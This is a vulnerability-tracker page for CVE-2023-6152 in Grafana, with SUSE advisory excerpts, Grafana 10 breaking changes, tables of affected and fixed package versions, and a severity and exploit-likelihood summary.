- CVE-2023-3128: Fixed authentication bypass using Azure AD OAuth (bsc#1212641)
- CVE-2023-6152: Add email verification when updating user email (bsc#1219912)
- CVE-2024-6837: Fixed potential data source permission escalation (bsc#1236301)
- CVE-2024-8118: Fixed permission on external alerting rule write endpoint (bsc#1231024)
Potential breaking changes in version 10:
- In panels using the extract fields transformation, where one of the extracted names collides with one of the already existing ields, the extracted field will be renamed.
- For the existing backend mode users who have table visualization might see some inconsistencies on their panels. We have updated the table column naming. This will potentially affect field transformations and/or field overrides. To resolve this either: update transformation or field override.
- For the existing backend mode users who have Transformations with the time field, might see their transformations are not working. Those panels that have broken transformations will fail to render. This is because we changed the field key. To resolve this either: Remove the affected panel and re-create it; Select the Time field again; Edit the time field as Time for transformation in panel.json or dashboard.json
- The following data source permission endpoints have been removed: GET /datasources/:datasourceId/permissions POST /api/datasources/:datasourceId/permissions DELETE /datasources/:datasourceId/permissions POST /datasources/:datasourceId/enable-permissions POST /datasources/:datasourceId/disable-permissions
  - Please use the following endpoints instead: GET /api/access-control/datasources/:uid for listing data source permissions POST /api/access-control/datasources/:uid/users/:id, POST /api/access-control/datasources/:uid/teams/:id and POST /api/access-control/datasources/:uid/buildInRoles/:id for adding or removing data source permissions
- If you are using Terraform Grafana provider to manage data source permissions, you will need to upgrade your provider.
- For the existing backend mode users who have table visualization might see some inconsistencies on their panels. We have updated the table column naming. This will potentially affect field transformations and/or field overrides.
- The deprecated /playlists/{uid}/dashboards API endpoint has been removed. Dashboard information can be retrieved from the /dashboard/... APIs.
- The PUT /api/folders/:uid endpoint no more supports modifying the folder's UID
- Removed all components for the old panel header design.
- Please review https://grafana.com/docs/grafana/next/breaking-changes/breaking-changes-v10-3/ for more details
- OAuth role mapping enforcement: This change impacts GitHub, Gitlab, Okta, and Generic OAuth. To avoid overriding manually set roles, enable the skip_org_role_sync option in the Grafana configuration for your OAuth provider before upgrading
- Angular has been deprecated
- Grafana legacy alerting has been deprecated
- API keys are migrating to service accounts
- The experimental “dashboard previews” feature is removed
- Usernames are now case-insensitive by default
- Grafana OAuth integrations do not work anymore with email lookups
- The “Alias” field in the CloudWatch data source is removed
- Athena data source plugin must be updated to version >=2.9.3
- Redshift data source plugin must be updated to version >=1.8.3
- DoiT International BigQuery plugin no longer…

Record: SUSE-SU-2025:0545-1
Updated: 2026-11-02

Affected products

Affected packages

Affected packages
Package	Affected	Fixed
`github.com/grafana/grafana` Go	2.5.0 up to 9.5.16	9.5.16
`github.com/grafana/grafana` Go	10.0.0 up to 10.0.11	10.0.11
`github.com/grafana/grafana` Go	10.1.0 up to 10.1.7	10.1.7
`github.com/grafana/grafana` Go	10.2.0 up to 10.2.4	10.2.4
`github.com/grafana/grafana` Go	10.3.0 up to 10.3.3	10.3.3
`grafana` Bitnami	2.5.0 up to 9.5.16, 10.0.0 up to 10.0.11, 10.1.0 up to 10.1.7, 10.2.0 up to 10.2.4, 10.3.0 up to 10.3.3	9.5.1610.0.1110.1.710.2.410.3.3
`golang-github-prometheus-alertmanager` SUSE:Manager Client Tools 12-BETA	before 0.26.0-4.18.2	0.26.0-4.18.2
`golang-github-prometheus-node_exporter` SUSE:Manager Client Tools 12-BETA	before 1.7.0-4.18.2	1.7.0-4.18.2
`golang-github-prometheus-promu` SUSE:Manager Client Tools 12-BETA	before 0.14.0-4.15.1	0.14.0-4.15.1
`grafana` SUSE:Manager Client Tools 12-BETA	before 9.5.16-4.27.1	9.5.16-4.27.1

Show 95 moreShow less

Affected packages
Package	Affected	Fixed
`spacecmd` SUSE:Manager Client Tools 12-BETA	before 5.0.5-41.48.1	5.0.5-41.48.1
`spacewalk-client-tools` SUSE:Manager Client Tools 12-BETA	before 5.0.4-55.51.1	5.0.4-55.51.1
`supportutils-plugin-susemanager-client` SUSE:Manager Client Tools 12-BETA	before 5.0.3-9.21.1	5.0.3-9.21.1
`uyuni-tools` SUSE:Manager Client Tools 12-BETA	before 0.1.7-3.8.1	0.1.7-3.8.1
`POS_Image-Graphical7` SUSE:Manager Client Tools 15-BETA From an advisory covering 8 CVEs	before 0.1.1710765237.46af599-159000.3.24.2	0.1.1710765237.46af599-159000.3.24.2
`POS_Image-JeOS7` SUSE:Manager Client Tools 15-BETA From an advisory covering 8 CVEs	before 0.1.1710765237.46af599-159000.3.24.2	0.1.1710765237.46af599-159000.3.24.2
`ansible` SUSE:Manager Client Tools 15-BETA From an advisory covering 8 CVEs	before 2.9.27-159000.3.12.2	2.9.27-159000.3.12.2
`dracut-saltboot` SUSE:Manager Client Tools 15-BETA From an advisory covering 8 CVEs	before 0.1.1710765237.46af599-159000.3.33.2	0.1.1710765237.46af599-159000.3.33.2
`grafana` SUSE:Manager Client Tools 15-BETA From an advisory covering 8 CVEs	before 9.5.16-159000.4.30.2	9.5.16-159000.4.30.2
`spacecmd` SUSE:Manager Client Tools 15-BETA From an advisory covering 8 CVEs	before 5.0.5-159000.6.48.2	5.0.5-159000.6.48.2
`spacewalk-client-tools` SUSE:Manager Client Tools 15-BETA From an advisory covering 8 CVEs	before 5.0.4-159000.6.54.2	5.0.4-159000.6.54.2
`supportutils-plugin-susemanager-client` SUSE:Manager Client Tools 15-BETA From an advisory covering 8 CVEs	before 5.0.3-159000.6.21.2	5.0.3-159000.6.21.2
`uyuni-tools` SUSE:Manager Client Tools 15-BETA From an advisory covering 8 CVEs	before 0.1.7-159000.3.8.1	0.1.7-159000.3.8.1
`golang-github-prometheus-node_exporter` SUSE:Manager Client Tools Beta for SLE Micro 5 From an advisory covering 8 CVEs	before 1.5.0-159000.6.2.1	1.5.0-159000.6.2.1
`uyuni-tools` SUSE:Manager Client Tools Beta for SLE Micro 5 From an advisory covering 8 CVEs	before 0.1.7-159000.3.8.1	0.1.7-159000.3.8.1
`golang-github-prometheus-alertmanager` SUSE:Manager Client Tools 12 From an advisory covering 2 CVEs	before 0.26.0-1.27.2	0.26.0-1.27.2
`golang-github-prometheus-node_exporter` SUSE:Manager Client Tools 12 From an advisory covering 2 CVEs	before 1.7.0-1.30.2	1.7.0-1.30.2
`golang-github-prometheus-promu` SUSE:Manager Client Tools 12 From an advisory covering 2 CVEs	before 0.14.0-1.18.1	0.14.0-1.18.1
`grafana` SUSE:Manager Client Tools 12 From an advisory covering 2 CVEs	before 9.5.18-1.63.1	9.5.18-1.63.1
`mgr-daemon` SUSE:Manager Client Tools 12 From an advisory covering 2 CVEs	before 4.3.9-1.47.1	4.3.9-1.47.1
`spacecmd` SUSE:Manager Client Tools 12 From an advisory covering 2 CVEs	before 4.3.27-38.139.1	4.3.27-38.139.1
`spacewalk-client-tools` SUSE:Manager Client Tools 12 From an advisory covering 2 CVEs	before 4.3.19-52.98.1	4.3.19-52.98.1
`spacewalk-koan` SUSE:Manager Client Tools 12 From an advisory covering 2 CVEs	before 4.3.6-24.36.1	4.3.6-24.36.1
`uyuni-common-libs` SUSE:Manager Client Tools 12 From an advisory covering 2 CVEs	before 4.3.10-1.39.1	4.3.10-1.39.1
`golang-github-prometheus-node_exporter` SUSE:Linux Enterprise Server 12 SP5 From an advisory covering 2 CVEs	before 1.7.0-1.30.2	1.7.0-1.30.2
`golang-github-prometheus-node_exporter` SUSE:Linux Enterprise Server for SAP Applications 12 SP5 From an advisory covering 2 CVEs	before 1.7.0-1.30.2	1.7.0-1.30.2
`POS_Image-Graphical7` SUSE:Manager Client Tools 15 From an advisory covering 15 CVEs	before 0.1.1710765237.46af599-150000.1.21.2	0.1.1710765237.46af599-150000.1.21.2
`POS_Image-JeOS7` SUSE:Manager Client Tools 15 From an advisory covering 15 CVEs	before 0.1.1710765237.46af599-150000.1.21.2	0.1.1710765237.46af599-150000.1.21.2
`ansible` SUSE:Manager Client Tools 15 From an advisory covering 15 CVEs	before 2.9.27-150000.1.17.2	2.9.27-150000.1.17.2
`dracut-saltboot` SUSE:Manager Client Tools 15 From an advisory covering 15 CVEs	before 0.1.1710765237.46af599-150000.1.53.2	0.1.1710765237.46af599-150000.1.53.2
`grafana` SUSE:Manager Client Tools 15 From an advisory covering 15 CVEs	before 9.5.18-150000.1.63.2	9.5.18-150000.1.63.2
`mgr-daemon` SUSE:Manager Client Tools 15 From an advisory covering 15 CVEs	before 4.3.9-150000.1.47.2	4.3.9-150000.1.47.2
`spacecmd` SUSE:Manager Client Tools 15 From an advisory covering 15 CVEs	before 4.3.27-150000.3.116.2	4.3.27-150000.3.116.2
`spacewalk-client-tools` SUSE:Manager Client Tools 15 From an advisory covering 15 CVEs	before 4.3.19-150000.3.89.2	4.3.19-150000.3.89.2
`spacewalk-koan` SUSE:Manager Client Tools 15 From an advisory covering 15 CVEs	before 4.3.6-150000.3.33.2	4.3.6-150000.3.33.2
`uyuni-common-libs` SUSE:Manager Client Tools 15 From an advisory covering 15 CVEs	before 4.3.10-150000.1.39.2	4.3.10-150000.1.39.2
`uyuni-proxy-systemd-services` SUSE:Manager Client Tools 15 From an advisory covering 15 CVEs	before 4.3.12-150000.1.21.2	4.3.12-150000.1.21.2
`dracut-saltboot` SUSE:Manager Client Tools for SLE Micro 5 From an advisory covering 15 CVEs	before 0.1.1710765237.46af599-150000.1.53.2	0.1.1710765237.46af599-150000.1.53.2
`uyuni-proxy-systemd-services` SUSE:Manager Client Tools for SLE Micro 5 From an advisory covering 15 CVEs	before 4.3.12-150000.1.21.2	4.3.12-150000.1.21.2
`golang-github-prometheus-promu` SUSE:Linux Enterprise Module for Package Hub 15 SP5 From an advisory covering 15 CVEs	before 0.14.0-150000.3.18.2	0.14.0-150000.3.18.2
`ansible` SUSE:Manager Proxy Module 4.3 From an advisory covering 15 CVEs	before 2.9.27-150000.1.17.2	2.9.27-150000.1.17.2
`uyuni-proxy-systemd-services` SUSE:Manager Proxy Module 4.3 From an advisory covering 15 CVEs	before 4.3.12-150000.1.21.2	4.3.12-150000.1.21.2
`POS_Image-Graphical7` openSUSE:Leap 15.5 From an advisory covering 15 CVEs	before 0.1.1710765237.46af599-150000.1.21.2	0.1.1710765237.46af599-150000.1.21.2
`POS_Image-JeOS7` openSUSE:Leap 15.5 From an advisory covering 15 CVEs	before 0.1.1710765237.46af599-150000.1.21.2	0.1.1710765237.46af599-150000.1.21.2
`ansible` openSUSE:Leap 15.5 From an advisory covering 15 CVEs	before 2.9.27-150000.1.17.2	2.9.27-150000.1.17.2
`dracut-saltboot` openSUSE:Leap 15.5 From an advisory covering 15 CVEs	before 0.1.1710765237.46af599-150000.1.53.2	0.1.1710765237.46af599-150000.1.53.2
`golang-github-prometheus-promu` openSUSE:Leap 15.5 From an advisory covering 15 CVEs	before 0.14.0-150000.3.18.2	0.14.0-150000.3.18.2
`spacecmd` openSUSE:Leap 15.5 From an advisory covering 15 CVEs	before 4.3.27-150000.3.116.2	4.3.27-150000.3.116.2
`grafana` SUSE:Linux Enterprise Module for Package Hub 15 SP5 From an advisory covering 2 CVEs	before 9.5.18-150200.3.56.1	9.5.18-150200.3.56.1
`grafana` openSUSE:Leap 15.5 From an advisory covering 2 CVEs	before 9.5.18-150200.3.56.1	9.5.18-150200.3.56.1
`mybatis` openSUSE:Leap 15.5 From an advisory covering 2 CVEs	before 3.5.6-150200.5.6.1	3.5.6-150200.5.6.1
`grafana` SUSE:Linux Enterprise Module for Package Hub 15 SP6 From an advisory covering 2 CVEs	before 9.5.18-150200.3.56.1	9.5.18-150200.3.56.1
`grafana` openSUSE:Leap 15.6 From an advisory covering 2 CVEs	before 9.5.18-150200.3.56.1	9.5.18-150200.3.56.1
`mybatis` openSUSE:Leap 15.6 From an advisory covering 2 CVEs	before 3.5.6-150200.5.6.1	3.5.6-150200.5.6.1
`golang-github-prometheus-prometheus` SUSE:Manager Client Tools 12 From an advisory covering 7 CVEs	before 2.53.3-1.56.1	2.53.3-1.56.1
`golang-github-prometheus-promu` SUSE:Manager Client Tools 12 From an advisory covering 7 CVEs	before 0.17.0-1.24.1	0.17.0-1.24.1
`grafana` SUSE:Manager Client Tools 12 From an advisory covering 7 CVEs	before 10.4.13-1.66.2	10.4.13-1.66.2
`spacecmd` SUSE:Manager Client Tools 12 From an advisory covering 7 CVEs	before 5.0.11-38.153.1	5.0.11-38.153.1
`supportutils-plugin-salt` SUSE:Manager Client Tools 12 From an advisory covering 7 CVEs	before 1.2.3-6.25.1	1.2.3-6.25.1
`supportutils-plugin-susemanager-client` SUSE:Manager Client Tools 12 From an advisory covering 7 CVEs	before 5.0.4-6.33.1	5.0.4-6.33.1
`uyuni-tools` SUSE:Manager Client Tools 12 From an advisory covering 7 CVEs	before 0.1.28-1.16.1	0.1.28-1.16.1
`dracut-saltboot` SUSE:Manager Client Tools 15 From an advisory covering 7 CVEs	before 0.1.1728559936.c16d4fb-150000.1.56.1	0.1.1728559936.c16d4fb-150000.1.56.1
`golang-github-prometheus-prometheus` SUSE:Manager Client Tools 15 From an advisory covering 7 CVEs	before 2.53.3-150000.3.59.1	2.53.3-150000.3.59.1
`grafana` SUSE:Manager Client Tools 15 From an advisory covering 7 CVEs	before 10.4.13-150000.1.66.1	10.4.13-150000.1.66.1
`spacecmd` SUSE:Manager Client Tools 15 From an advisory covering 7 CVEs	before 5.0.11-150000.3.130.1	5.0.11-150000.3.130.1
`supportutils-plugin-salt` SUSE:Manager Client Tools 15 From an advisory covering 7 CVEs	before 1.2.3-150000.3.16.1	1.2.3-150000.3.16.1
`supportutils-plugin-susemanager-client` SUSE:Manager Client Tools 15 From an advisory covering 7 CVEs	before 5.0.4-150000.3.27.1	5.0.4-150000.3.27.1
`uyuni-tools` SUSE:Manager Client Tools 15 From an advisory covering 7 CVEs	before 0.1.28-150000.1.16.1	0.1.28-150000.1.16.1
`dracut-saltboot` SUSE:Manager Client Tools for SLE Micro 5 From an advisory covering 7 CVEs	before 0.1.1728559936.c16d4fb-150000.1.56.1	0.1.1728559936.c16d4fb-150000.1.56.1
`uyuni-tools` SUSE:Manager Client Tools for SLE Micro 5 From an advisory covering 7 CVEs	before 0.1.28-150000.1.16.1	0.1.28-150000.1.16.1
`supportutils-plugin-salt` SUSE:Linux Enterprise Module for Basesystem 15 SP6 From an advisory covering 7 CVEs	before 1.2.3-150000.3.16.1	1.2.3-150000.3.16.1
`golang-github-prometheus-promu` SUSE:Linux Enterprise Module for Package Hub 15 SP6 From an advisory covering 7 CVEs	before 0.17.0-150000.3.24.1	0.17.0-150000.3.24.1
`supportutils-plugin-salt` SUSE:Linux Enterprise High Performance Computing 15 SP3-LTSS From an advisory covering 7 CVEs	before 1.2.3-150000.3.16.1	1.2.3-150000.3.16.1
`supportutils-plugin-salt` SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS From an advisory covering 7 CVEs	before 1.2.3-150000.3.16.1	1.2.3-150000.3.16.1
`supportutils-plugin-salt` SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS From an advisory covering 7 CVEs	before 1.2.3-150000.3.16.1	1.2.3-150000.3.16.1
`supportutils-plugin-salt` SUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS From an advisory covering 7 CVEs	before 1.2.3-150000.3.16.1	1.2.3-150000.3.16.1
`supportutils-plugin-salt` SUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS From an advisory covering 7 CVEs	before 1.2.3-150000.3.16.1	1.2.3-150000.3.16.1
`supportutils-plugin-salt` SUSE:Linux Enterprise Server 15 SP3-LTSS From an advisory covering 7 CVEs	before 1.2.3-150000.3.16.1	1.2.3-150000.3.16.1
`supportutils-plugin-salt` SUSE:Linux Enterprise Server 15 SP4-LTSS From an advisory covering 7 CVEs	before 1.2.3-150000.3.16.1	1.2.3-150000.3.16.1
`supportutils-plugin-salt` SUSE:Linux Enterprise Server 15 SP5-LTSS From an advisory covering 7 CVEs	before 1.2.3-150000.3.16.1	1.2.3-150000.3.16.1
`supportutils-plugin-salt` SUSE:Linux Enterprise Server for SAP Applications 15 SP3 From an advisory covering 7 CVEs	before 1.2.3-150000.3.16.1	1.2.3-150000.3.16.1
`supportutils-plugin-salt` SUSE:Linux Enterprise Server for SAP Applications 15 SP4 From an advisory covering 7 CVEs	before 1.2.3-150000.3.16.1	1.2.3-150000.3.16.1
`supportutils-plugin-salt` SUSE:Linux Enterprise Server for SAP Applications 15 SP5 From an advisory covering 7 CVEs	before 1.2.3-150000.3.16.1	1.2.3-150000.3.16.1
`supportutils-plugin-salt` SUSE:Manager Proxy 4.3 From an advisory covering 7 CVEs	before 1.2.3-150000.3.16.1	1.2.3-150000.3.16.1
`supportutils-plugin-salt` SUSE:Manager Server 4.3 From an advisory covering 7 CVEs	before 1.2.3-150000.3.16.1	1.2.3-150000.3.16.1
`supportutils-plugin-salt` SUSE:Enterprise Storage 7.1 From an advisory covering 7 CVEs	before 1.2.3-150000.3.16.1	1.2.3-150000.3.16.1
`dracut-saltboot` openSUSE:Leap 15.6 From an advisory covering 7 CVEs	before 0.1.1728559936.c16d4fb-150000.1.56.1	0.1.1728559936.c16d4fb-150000.1.56.1
`golang-github-prometheus-promu` openSUSE:Leap 15.6 From an advisory covering 7 CVEs	before 0.17.0-150000.3.24.1	0.17.0-150000.3.24.1
`spacecmd` openSUSE:Leap 15.6 From an advisory covering 7 CVEs	before 5.0.11-150000.3.130.1	5.0.11-150000.3.130.1
`supportutils-plugin-salt` openSUSE:Leap 15.6 From an advisory covering 7 CVEs	before 1.2.3-150000.3.16.1	1.2.3-150000.3.16.1
`supportutils-plugin-susemanager-client` openSUSE:Leap 15.6 From an advisory covering 7 CVEs	before 5.0.4-150000.3.27.1	5.0.4-150000.3.27.1
`grafana` SUSE:Linux Enterprise Module for Package Hub 15 SP6 From an advisory covering 5 CVEs	before 10.4.13-150200.3.59.1	10.4.13-150200.3.59.1
`grafana` openSUSE:Leap 15.6 From an advisory covering 5 CVEs	before 10.4.13-150200.3.59.1	10.4.13-150200.3.59.1
`grafana` Ubuntu:16.04:LTS	All versions, plus listed versions 2.6.0+dfsg-1	None known
`grafana` openSUSE:Tumbleweed	before 10.1.7-1.1	10.1.7-1.1

History

History
Recorded	Changed	Sources
Nov 6, 2026	affected, facts
Nov 2, 2026	first indexed	CVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2023-6152 is a medium vulnerability (CVSS 5.4) in Grafana, published February 13, 2024. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.39%, the 72nd percentile. Fixed in github.com/grafana/grafana 9.5.16.

References

Show 73 moreShow less

This page doesn't list everything

Left out here: the rest of 6 source descriptions. The JSON record has them.